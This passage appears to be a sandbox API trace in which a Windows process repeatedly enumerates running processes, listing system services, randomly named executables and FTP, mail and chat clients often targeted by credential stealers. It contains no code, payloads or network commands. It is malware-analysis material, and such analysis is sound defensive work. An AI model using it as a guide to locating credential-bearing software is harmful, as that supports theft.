cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0283.144] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0283.146] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0283.148] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0283.151] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0283.153] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0283.155] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0283.158] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0283.209] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0283.211] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0283.214] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0283.216] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0283.218] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0283.221] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0283.223] CloseHandle (hObject=0x344) returned 1 [0283.223] Sleep (dwMilliseconds=0x64) [0283.273] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0283.288] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0283.290] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0283.292] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0283.294] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0283.296] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0283.298] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0283.335] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0283.337] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0283.339] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0283.342] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.344] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.346] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0283.348] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.351] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.353] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.355] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.357] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.359] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.362] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.364] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0283.366] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0283.368] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0283.370] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.373] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0283.375] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0283.377] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0283.568] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0283.569] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.571] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0283.573] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0283.575] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0283.577] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0283.579] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0283.581] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0283.583] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0283.584] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0283.586] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0283.588] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0283.590] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0283.592] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0283.594] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0283.596] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0283.599] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0283.601] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0283.602] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0283.604] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0283.606] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0283.608] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0283.609] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0283.611] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0283.663] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0283.665] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0283.667] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0283.669] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0283.671] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0283.672] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0283.674] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0283.675] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0283.677] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0283.679] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0283.681] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0283.682] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0283.684] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0283.686] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0283.688] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0283.689] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0283.691] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0283.693] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0283.695] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0283.697] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0283.699] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, 